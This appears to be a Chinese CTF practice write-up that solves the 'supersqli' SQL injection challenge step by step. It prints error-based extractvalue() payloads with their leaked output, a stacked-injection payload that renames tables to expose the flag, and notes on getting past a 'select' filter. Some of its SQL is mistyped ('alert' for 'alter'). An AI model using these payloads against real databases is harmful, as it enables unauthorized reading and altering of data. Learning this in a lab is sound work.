CTF练习②
参考的文章链接 :https://www.cnblogs.com/chrysanthemum/p/11657008.html
这个题是强网杯的一道SQL注入的题,网上有不少的在线靶场和writeup,通过这道题我学到了不少。
看到题目之后就是常规的注入,先加 ‘ 报错,然后确定是单引号闭合,order by 查询有两列,正当 要 联合查询的时候,发现了正则匹配过滤 过滤了不少,并且是大小写都同时过滤了,
先是想到了用 updatexml () 报错注入,看到update()被过滤,再报错注入中,还有一种方式和updatexml()函数等效,,就是extractvalue()函数,先使用 extractvalue()函数查下当前的数据库看看能查出来不;
and extractvalue(1,concat(0x7e,(database()),0x7e)) # 爆出来 :error 1105 : XPATH syntax error: '~supersqli~'
同样,要是把database 改成 version 的话 ,就会爆出版本信息 error 1105 : XPATH syntax error: '~10.3.18-MariaDB~'
这个好像和那个updatexml语法格式是一样的,这里 0x7e 就是 asccii码 的 ~ 波浪号;
但是由于过滤了select ,是无法就行下一步操作的(下一步操作应该是
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1 ),0x7e));--+) 这里很显然,过滤了select
当时做到这里的时候,思路就断了,之后看了大佬的文章,才知道用堆叠注入,当时也学过堆叠注入,就是没有想到要这么写,,,
接下来需要做的就是查数据库,查表,查字段
真是想了半天,,看了半天writeup才明白大佬的解题思路;;;
参考文章/:
(这个大佬给出了三种解题方法,,不过我只看懂一种··)
1,通过 rename 先把 words 表改名为其他的表名。
2,把 1919810931114514 表的名字改为 words 。
3 ,给新 words 表添加新的列名 id 。
4,将 flag 改名为 data 。
1'; rename table words to word1; rename table `1919810931114514` to words; alert table words add id int unsigned not Null auto_increment primary key ; alert table words change flag data varchar(100); #
用自己的话叙述一遍就是:输入1,查出来的内容是 1 和 hahaha 这个其实是 words 表中 id 和 data 两个字段的第一行内容 ,所以说默认的SQL语句查的是words表中的,你把1919810931114514表名字改成words,把1919810931114514中的flag字段改成 data 字段,不就查出来了么。。。。真特X厉害了
学习到的知识点:
一、不光select ,show 也是可以查字段的 , show databases; show tables ; show students from wechat ;
二、extractvalue()函数的用法和updatexml相同,extractvalue(1,concat(0x7e,database(),0x7e))
三、过滤了select 可以尝试用 updatexml或者 extract value函数或者用堆叠注入或者用 show 也是可以
四、表名为数字时,要用反引号包起来查询。
五、在过滤了 select 和 where 的情况下,还可以使用 show 来爆出数据库名,表名,和列名。
六、SQL语句修改已知表的列。( 添加:add | 修改:alert,change | 撤销:drop )
- 添加一个列:
alter table " table_name" add " column_name" type;
- 删除一个列
alter table " table_name" drop " column_name" type;
- 改列名
alter table " table_name" change " column1" " column2" type;
alter table "table_name" rename "column1" to "column2";

浙公网安备 33010602011771号